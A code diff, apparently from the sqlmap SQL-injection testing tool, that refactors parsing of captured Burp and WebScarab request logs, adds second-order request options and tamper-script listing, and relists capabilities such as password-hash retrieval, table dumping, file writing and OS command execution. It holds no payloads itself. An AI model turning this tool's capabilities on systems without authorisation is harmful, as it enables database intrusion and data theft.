||||
continue
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host):
|
||||
request = request.replace(host, "%s:%d" % (host, int(port)))
|
||||
reqResList.append(request)
|
||||
else:
|
||||
reqResList = [content]
|
||||
else:
|
||||
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
|
||||
|
||||
for match in reqResList:
|
||||
request = match if isinstance(match, basestring) else match.group(0)
|
||||
request = re.sub(r"\A[^\w]+", "", request)
|
||||
|
||||
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
|
||||
|
||||
if schemePort:
|
||||
scheme = schemePort.group(1)
|
||||
port = schemePort.group(2)
|
||||
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
|
||||
else:
|
||||
scheme, port = None, None
|
||||
|
||||
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
|
||||
continue
|
||||
|
||||
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
||||
continue
|
||||
|
||||
getPostReq = False
|
||||
url = None
|
||||
host = None
|
||||
method = None
|
||||
data = None
|
||||
cookie = None
|
||||
params = False
|
||||
newline = None
|
||||
lines = request.split('\n')
|
||||
headers = []
|
||||
|
||||
for index in xrange(len(lines)):
|
||||
line = lines[index]
|
||||
|
||||
if not line.strip() and index == len(lines) - 1:
|
||||
break
|
||||
|
||||
newline = "\r\n" if line.endswith('\r') else '\n'
|
||||
line = line.strip('\r')
|
||||
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
|
||||
|
||||
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
||||
data = ""
|
||||
params = True
|
||||
|
||||
elif match:
|
||||
method = match.group(1)
|
||||
url = match.group(2)
|
||||
|
||||
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
|
||||
params = True
|
||||
|
||||
getPostReq = True
|
||||
|
||||
# POST parameters
|
||||
elif data is not None and params:
|
||||
data += "%s%s" % (line, newline)
|
||||
|
||||
# GET parameters
|
||||
elif "?" in line and "=" in line and ": " not in line:
|
||||
params = True
|
||||
|
||||
# Headers
|
||||
elif re.search(r"\A\S+:", line):
|
||||
key, value = line.split(":", 1)
|
||||
value = value.strip().replace("\r", "").replace("\n", "")
|
||||
|
||||
# Cookie and Host headers
|
||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||
cookie = value
|
||||
elif key.upper() == HTTP_HEADER.HOST.upper():
|
||||
if '://' in value:
|
||||
scheme, value = value.split('://')[:2]
|
||||
splitValue = value.split(":")
|
||||
host = splitValue[0]
|
||||
|
||||
if len(splitValue) > 1:
|
||||
port = filterStringValue(splitValue[1], "[0-9]")
|
||||
|
||||
# Avoid to add a static content length header to
|
||||
# headers and consider the following lines as
|
||||
# POSTed data
|
||||
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
|
||||
params = True
|
||||
|
||||
# Avoid proxy and connection type related headers
|
||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
||||
headers.append((getUnicode(key), getUnicode(value)))
|
||||
|
||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||
params = True
|
||||
|
||||
data = data.rstrip("\r\n") if data else data
|
||||
|
||||
if getPostReq and (params or cookie or not checkParams):
|
||||
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
|
||||
port = "443"
|
||||
elif not scheme and port == "443":
|
||||
scheme = "https"
|
||||
|
||||
if conf.forceSSL:
|
||||
scheme = "https"
|
||||
port = port or "443"
|
||||
|
||||
if not host:
|
||||
errMsg = "invalid format of a request file"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if not url.startswith("http"):
|
||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||
scheme = None
|
||||
port = None
|
||||
|
||||
if not(conf.scope and not re.search(conf.scope, url, re.I)):
|
||||
yield (url, conf.method or method, data, cookie, tuple(headers))
|
||||
|
||||
checkFile(reqFile)
|
||||
try:
|
||||
with openFile(reqFile, "rb") as f:
|
||||
content = f.read()
|
||||
except (IOError, OSError, MemoryError), ex:
|
||||
errMsg = "something went wrong while trying "
|
||||
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
if conf.scope:
|
||||
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
|
||||
|
||||
for target in _parseBurpLog(content):
|
||||
yield target
|
||||
|
||||
for target in _parseWebScarabLog(content):
|
||||
yield target
|
||||
|
||||
def getSafeExString(ex, encoding=None):
|
||||
"""
|
||||
Safe way how to get the proper exception represtation as a string
|
||||
@@ -4490,3 +4702,13 @@ def safeVariableNaming(value):
|
||||
|
||||
def unsafeVariableNaming(value):
|
||||
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
|
||||
|
||||
def firstNotNone(*args):
|
||||
retVal = None
|
||||
|
||||
for _ in args:
|
||||
if _ is not None:
|
||||
retVal = _
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -38,4 +38,4 @@ def stackedmethod(f):
|
||||
|
||||
return result
|
||||
|
||||
return _
|
||||
return _
|
||||
|
||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import CONTENT_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import OS
|
||||
from lib.core.enums import POST_HINT
|
||||
@@ -279,6 +280,8 @@ DEPRECATED_OPTIONS = {
|
||||
"--binary": "use '--binary-fields' instead",
|
||||
"--auth-private": "use '--auth-file' instead",
|
||||
"--ignore-401": "use '--ignore-code' instead",
|
||||
"--second-order": "use '--second-url' instead",
|
||||
"--purge-output": "use '--purge' instead",
|
||||
"--check-payload": None,
|
||||
"--check-waf": None,
|
||||
"--pickled-options": "use '--api -c ...' instead",
|
||||
@@ -293,3 +296,31 @@ DEFAULT_DOC_ROOTS = {
|
||||
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
|
||||
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
|
||||
}
|
||||
|
||||
PART_RUN_CONTENT_TYPES = {
|
||||
"checkDbms": CONTENT_TYPE.TECHNIQUES,
|
||||
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
|
||||
"getBanner": CONTENT_TYPE.BANNER,
|
||||
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
|
||||
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
|
||||
"getHostname": CONTENT_TYPE.HOSTNAME,
|
||||
"isDba": CONTENT_TYPE.IS_DBA,
|
||||
"getUsers": CONTENT_TYPE.USERS,
|
||||
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
|
||||
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
|
||||
"getRoles": CONTENT_TYPE.ROLES,
|
||||
"getDbs": CONTENT_TYPE.DBS,
|
||||
"getTables": CONTENT_TYPE.TABLES,
|
||||
"getColumns": CONTENT_TYPE.COLUMNS,
|
||||
"getSchema": CONTENT_TYPE.SCHEMA,
|
||||
"getCount": CONTENT_TYPE.COUNT,
|
||||
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
|
||||
"search": CONTENT_TYPE.SEARCH,
|
||||
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
|
||||
"tableExists": CONTENT_TYPE.COMMON_TABLES,
|
||||
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
|
||||
"readFile": CONTENT_TYPE.FILE_READ,
|
||||
"writeFile": CONTENT_TYPE.FILE_WRITE,
|
||||
"osCmd": CONTENT_TYPE.OS_CMD,
|
||||
"regRead": CONTENT_TYPE.REG_READ
|
||||
}
|
||||
|
||||
+1
-28
@@ -340,34 +340,6 @@ class CONTENT_TYPE:
|
||||
OS_CMD = 24
|
||||
REG_READ = 25
|
||||
|
||||
PART_RUN_CONTENT_TYPES = {
|
||||
"checkDbms": CONTENT_TYPE.TECHNIQUES,
|
||||
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
|
||||
"getBanner": CONTENT_TYPE.BANNER,
|
||||
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
|
||||
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
|
||||
"getHostname": CONTENT_TYPE.HOSTNAME,
|
||||
"isDba": CONTENT_TYPE.IS_DBA,
|
||||
"getUsers": CONTENT_TYPE.USERS,
|
||||
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
|
||||
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
|
||||
"getRoles": CONTENT_TYPE.ROLES,
|
||||
"getDbs": CONTENT_TYPE.DBS,
|
||||
"getTables": CONTENT_TYPE.TABLES,
|
||||
"getColumns": CONTENT_TYPE.COLUMNS,
|
||||
"getSchema": CONTENT_TYPE.SCHEMA,
|
||||
"getCount": CONTENT_TYPE.COUNT,
|
||||
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
|
||||
"search": CONTENT_TYPE.SEARCH,
|
||||
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
|
||||
"tableExists": CONTENT_TYPE.COMMON_TABLES,
|
||||
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
|
||||
"readFile": CONTENT_TYPE.FILE_READ,
|
||||
"writeFile": CONTENT_TYPE.FILE_WRITE,
|
||||
"osCmd": CONTENT_TYPE.OS_CMD,
|
||||
"regRead": CONTENT_TYPE.REG_READ
|
||||
}
|
||||
|
||||
class CONTENT_STATUS:
|
||||
IN_PROGRESS = 0
|
||||
COMPLETE = 1
|
||||
@@ -382,6 +354,7 @@ class AUTOCOMPLETE_TYPE:
|
||||
SQL = 0
|
||||
OS = 1
|
||||
SQLMAP = 2
|
||||
API = 3
|
||||
|
||||
class NOTE:
|
||||
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
|
||||
|
||||
+74
-240
@@ -5,12 +5,10 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import cookielib
|
||||
import glob
|
||||
import inspect
|
||||
import logging
|
||||
import httplib
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
@@ -37,17 +35,15 @@ from lib.core.common import checkFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import filterStringValue
|
||||
from lib.core.common import findLocalPort
|
||||
from lib.core.common import findPageForms
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getFileType
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import normalizePath
|
||||
from lib.core.common import ntToPosixSlashes
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import parseRequestFile
|
||||
from lib.core.common import parseTargetDirect
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
@@ -58,6 +54,7 @@ from lib.core.common import resetCookieJar
|
||||
from lib.core.common import runningAsAdmin
|
||||
from lib.core.common import safeExpandUser
|
||||
from lib.core.common import saveConfig
|
||||
from lib.core.common import setColor
|
||||
from lib.core.common import setOptimize
|
||||
from lib.core.common import setPaths
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
@@ -100,10 +97,7 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.log import FORMATTER
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import BURP_REQUEST_REGEX
|
||||
from lib.core.settings import BURP_XML_HISTORY_REGEX
|
||||
from lib.core.settings import CODECS_LIST_PAGE
|
||||
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DBMS_ALIASES
|
||||
from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||
@@ -120,7 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||
@@ -132,7 +125,6 @@ from lib.core.settings import UNION_CHAR_REGEX
|
||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||
from lib.core.settings import URI_INJECTABLE_REGEX
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import WEBSCARAB_SPLITTER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import setDaemon
|
||||
from lib.core.update import update
|
||||
@@ -174,201 +166,6 @@ try:
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||
"""
|
||||
Parses web scarab and burp logs and adds results to the target URL list
|
||||
"""
|
||||
|
||||
def _parseWebScarabLog(content):
|
||||
"""
|
||||
Parses web scarab logs (POST method not supported)
|
||||
"""
|
||||
|
||||
reqResList = content.split(WEBSCARAB_SPLITTER)
|
||||
|
||||
for request in reqResList:
|
||||
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
|
||||
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
|
||||
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
|
||||
|
||||
if not method or not url:
|
||||
logger.debug("not a valid WebScarab log data")
|
||||
continue
|
||||
|
||||
if method.upper() == HTTPMETHOD.POST:
|
||||
warnMsg = "POST requests from WebScarab logs aren't supported "
|
||||
warnMsg += "as their body content is stored in separate files. "
|
||||
warnMsg += "Nevertheless you can use -r to load them individually."
|
||||
logger.warning(warnMsg)
|
||||
continue
|
||||
|
||||
if not(conf.scope and not re.search(conf.scope, url, re.I)):
|
||||
if not kb.targets or url not in addedTargetUrls:
|
||||
kb.targets.add((url, method, None, cookie, None))
|
||||
addedTargetUrls.add(url)
|
||||
|
||||
def _parseBurpLog(content):
|
||||
"""
|
||||
Parses burp logs
|
||||
"""
|
||||
|
||||
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
|
||||
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
try:
|
||||
request = request.decode("base64")
|
||||
except binascii.Error:
|
||||
continue
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host):
|
||||
request = request.replace(host, "%s:%d" % (host, int(port)))
|
||||
reqResList.append(request)
|
||||
else:
|
||||
reqResList = [content]
|
||||
else:
|
||||
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
|
||||
|
||||
for match in reqResList:
|
||||
request = match if isinstance(match, basestring) else match.group(0)
|
||||
request = re.sub(r"\A[^\w]+", "", request)
|
||||
|
||||
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
|
||||
|
||||
if schemePort:
|
||||
scheme = schemePort.group(1)
|
||||
port = schemePort.group(2)
|
||||
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
|
||||
else:
|
||||
scheme, port = None, None
|
||||
|
||||
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
|
||||
continue
|
||||
|
||||
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
||||
continue
|
||||
|
||||
getPostReq = False
|
||||
url = None
|
||||
host = None
|
||||
method = None
|
||||
data = None
|
||||
cookie = None
|
||||
params = False
|
||||
newline = None
|
||||
lines = request.split('\n')
|
||||
headers = []
|
||||
|
||||
for index in xrange(len(lines)):
|
||||
line = lines[index]
|
||||
|
||||
if not line.strip() and index == len(lines) - 1:
|
||||
break
|
||||
|
||||
newline = "\r\n" if line.endswith('\r') else '\n'
|
||||
line = line.strip('\r')
|
||||
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
|
||||
|
||||
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
||||
data = ""
|
||||
params = True
|
||||
|
||||
elif match:
|
||||
method = match.group(1)
|
||||
url = match.group(2)
|
||||
|
||||
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
|
||||
params = True
|
||||
|
||||
getPostReq = True
|
||||
|
||||
# POST parameters
|
||||
elif data is not None and params:
|
||||
data += "%s%s" % (line, newline)
|
||||
|
||||
# GET parameters
|
||||
elif "?" in line and "=" in line and ": " not in line:
|
||||
params = True
|
||||
|
||||
# Headers
|
||||
elif re.search(r"\A\S+:", line):
|
||||
key, value = line.split(":", 1)
|
||||
value = value.strip().replace("\r", "").replace("\n", "")
|
||||
|
||||
# Cookie and Host headers
|
||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||
cookie = value
|
||||
elif key.upper() == HTTP_HEADER.HOST.upper():
|
||||
if '://' in value:
|
||||
scheme, value = value.split('://')[:2]
|
||||
splitValue = value.split(":")
|
||||
host = splitValue[0]
|
||||
|
||||
if len(splitValue) > 1:
|
||||
port = filterStringValue(splitValue[1], "[0-9]")
|
||||
|
||||
# Avoid to add a static content length header to
|
||||
# headers and consider the following lines as
|
||||
# POSTed data
|
||||
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
|
||||
params = True
|
||||
|
||||
# Avoid proxy and connection type related headers
|
||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
||||
headers.append((getUnicode(key), getUnicode(value)))
|
||||
|
||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||
params = True
|
||||
|
||||
data = data.rstrip("\r\n") if data else data
|
||||
|
||||
if getPostReq and (params or cookie):
|
||||
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
|
||||
port = "443"
|
||||
elif not scheme and port == "443":
|
||||
scheme = "https"
|
||||
|
||||
if conf.forceSSL:
|
||||
scheme = "https"
|
||||
port = port or "443"
|
||||
|
||||
if not host:
|
||||
errMsg = "invalid format of a request file"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if not url.startswith("http"):
|
||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||
scheme = None
|
||||
port = None
|
||||
|
||||
if not(conf.scope and not re.search(conf.scope, url, re.I)):
|
||||
if not kb.targets or url not in addedTargetUrls:
|
||||
kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
|
||||
addedTargetUrls.add(url)
|
||||
|
||||
checkFile(reqFile)
|
||||
try:
|
||||
with openFile(reqFile, "rb") as f:
|
||||
content = f.read()
|
||||
except (IOError, OSError, MemoryError), ex:
|
||||
errMsg = "something went wrong while trying "
|
||||
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
if conf.scope:
|
||||
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
|
||||
|
||||
_parseBurpLog(content)
|
||||
_parseWebScarabLog(content)
|
||||
|
||||
if not addedTargetUrls:
|
||||
errMsg = "unable to find usable request(s) "
|
||||
errMsg += "in provided file ('%s')" % reqFile
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _loadQueries():
|
||||
"""
|
||||
Loads queries from 'xml/queries.xml' file.
|
||||
@@ -414,7 +211,7 @@ def _setMultipleTargets():
|
||||
"""
|
||||
|
||||
initialTargetsCount = len(kb.targets)
|
||||
addedTargetUrls = set()
|
||||
seen = set()
|
||||
|
||||
if not conf.logFile:
|
||||
return
|
||||
@@ -427,7 +224,11 @@ def _setMultipleTargets():
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
if os.path.isfile(conf.logFile):
|
||||
_feedTargetsDict(conf.logFile, addedTargetUrls)
|
||||
for target in parseRequestFile(conf.logFile):
|
||||
url = target[0]
|
||||
if url not in seen:
|
||||
kb.targets.add(target)
|
||||
seen.add(url)
|
||||
|
||||
elif os.path.isdir(conf.logFile):
|
||||
files = os.listdir(conf.logFile)
|
||||
@@ -437,7 +238,11 @@ def _setMultipleTargets():
|
||||
if not re.search(r"([\d]+)\-request", reqFile):
|
||||
continue
|
||||
|
||||
_feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls)
|
||||
for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
|
||||
url = target[0]
|
||||
if url not in seen:
|
||||
kb.targets.add(target)
|
||||
seen.add(url)
|
||||
|
||||
else:
|
||||
errMsg = "the specified list of targets is not a file "
|
||||
@@ -478,22 +283,37 @@ def _setRequestFromFile():
|
||||
textual file, parses it and saves the information into the knowledge base.
|
||||
"""
|
||||
|
||||
if not conf.requestFile:
|
||||
return
|
||||
if conf.requestFile:
|
||||
conf.requestFile = safeExpandUser(conf.requestFile)
|
||||
seen = set()
|
||||
|
||||
addedTargetUrls = set()
|
||||
if not os.path.isfile(conf.requestFile):
|
||||
errMsg = "specified HTTP request file '%s' " % conf.requestFile
|
||||
errMsg += "does not exist"
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
conf.requestFile = safeExpandUser(conf.requestFile)
|
||||
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not os.path.isfile(conf.requestFile):
|
||||
errMsg = "specified HTTP request file '%s' " % conf.requestFile
|
||||
errMsg += "does not exist"
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
for target in parseRequestFile(conf.requestFile):
|
||||
url = target[0]
|
||||
if url not in seen:
|
||||
kb.targets.add(target)
|
||||
seen.add(url)
|
||||
|
||||
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
|
||||
logger.info(infoMsg)
|
||||
if conf.secondReq:
|
||||
conf.secondReq = safeExpandUser(conf.secondReq)
|
||||
|
||||
_feedTargetsDict(conf.requestFile, addedTargetUrls)
|
||||
if not os.path.isfile(conf.secondReq):
|
||||
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
|
||||
errMsg += "does not exist"
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
||||
logger.info(infoMsg)
|
||||
|
||||
target = parseRequestFile(conf.secondReq, False).next()
|
||||
kb.secondReq = target
|
||||
|
||||
def _setCrawler():
|
||||
if not conf.crawlDepth:
|
||||
@@ -880,6 +700,22 @@ def _setDBMS():
|
||||
|
||||
break
|
||||
|
||||
def _listTamperingFunctions():
|
||||
"""
|
||||
Lists available tamper functions
|
||||
"""
|
||||
|
||||
if conf.listTampers:
|
||||
infoMsg = "listing available tamper scripts\n"
|
||||
logger.info(infoMsg)
|
||||
|
||||
for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
|
||||
content = openFile(script, "rb").read()
|
||||
match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
|
||||
if match:
|
||||
comment = match.group(1).strip()
|
||||
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
|
||||
|
||||
def _setTamperingFunctions():
|
||||
"""
|
||||
Loads tampering functions from given script(s)
|
||||
@@ -1590,7 +1426,7 @@ def _createTemporaryDirectory():
|
||||
try:
|
||||
if not os.path.isdir(tempfile.gettempdir()):
|
||||
os.makedirs(tempfile.gettempdir())
|
||||
except (OSError, IOError, WindowsError), ex:
|
||||
except Exception, ex:
|
||||
warnMsg = "there has been a problem while accessing "
|
||||
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
|
||||
warnMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
@@ -1601,7 +1437,7 @@ def _createTemporaryDirectory():
|
||||
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
|
||||
try:
|
||||
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
|
||||
except (OSError, IOError, WindowsError):
|
||||
except:
|
||||
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
|
||||
|
||||
kb.tempDir = tempfile.tempdir
|
||||
@@ -1609,7 +1445,7 @@ def _createTemporaryDirectory():
|
||||
if not os.path.isdir(tempfile.tempdir):
|
||||
try:
|
||||
os.makedirs(tempfile.tempdir)
|
||||
except (OSError, IOError, WindowsError), ex:
|
||||
except Exception, ex:
|
||||
errMsg = "there has been a problem while setting "
|
||||
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSystemException(errMsg)
|
||||
@@ -1722,7 +1558,7 @@ def _cleanupOptions():
|
||||
|
||||
if conf.testFilter:
|
||||
conf.testFilter = conf.testFilter.strip('*+')
|
||||
conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
|
||||
conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
|
||||
|
||||
try:
|
||||
re.compile(conf.testFilter)
|
||||
@@ -1731,7 +1567,7 @@ def _cleanupOptions():
|
||||
|
||||
if conf.testSkip:
|
||||
conf.testSkip = conf.testSkip.strip('*+')
|
||||
conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
|
||||
conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
|
||||
|
||||
try:
|
||||
re.compile(conf.testSkip)
|
||||
@@ -1802,6 +1638,9 @@ def _cleanupOptions():
|
||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||
conf.disablePrecon = True
|
||||
|
||||
if conf.dummy:
|
||||
conf.batch = True
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.reset()
|
||||
|
||||
@@ -1816,23 +1655,13 @@ def _cleanupEnvironment():
|
||||
if hasattr(socket, "_ready"):
|
||||
socket._ready.clear()
|
||||
|
||||
def _dirtyPatches():
|
||||
def _purge():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
Safely removes (purges) sqlmap data directory.
|
||||
"""
|
||||
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
|
||||
|
||||
def _purgeOutput():
|
||||
"""
|
||||
Safely removes (purges) output directory.
|
||||
"""
|
||||
|
||||
if conf.purgeOutput:
|
||||
purge(paths.SQLMAP_OUTPUT_PATH)
|
||||
if conf.purge:
|
||||
purge(paths.SQLMAP_HOME_PATH)
|
||||
|
||||
def _setConfAttributes():
|
||||
"""
|
||||
@@ -2022,6 +1851,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.rowXmlMode = False
|
||||
kb.safeCharEncode = False
|
||||
kb.safeReq = AttribDict()
|
||||
kb.secondReq = None
|
||||
kb.singleLogFlags = set()
|
||||
kb.skipSeqMatcher = False
|
||||
kb.reduceTests = None
|
||||
@@ -2411,6 +2241,10 @@ def _basicOptionValidation():
|
||||
errMsg = "switch '--eta' is incompatible with option '-v'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.secondUrl and conf.secondReq:
|
||||
errMsg = "option '--second-url' is incompatible with option '--second-req')"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.direct and conf.url:
|
||||
errMsg = "option '-d' is incompatible with option '-u' ('--url')"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -2633,8 +2467,7 @@ def init():
|
||||
_setRequestFromFile()
|
||||
_cleanupOptions()
|
||||
_cleanupEnvironment()
|
||||
_dirtyPatches()
|
||||
_purgeOutput()
|
||||
_purge()
|
||||
_checkDependencies()
|
||||
_createTemporaryDirectory()
|
||||
_basicOptionValidation()
|
||||
@@ -2643,6 +2476,7 @@ def init():
|
||||
_setDNSServer()
|
||||
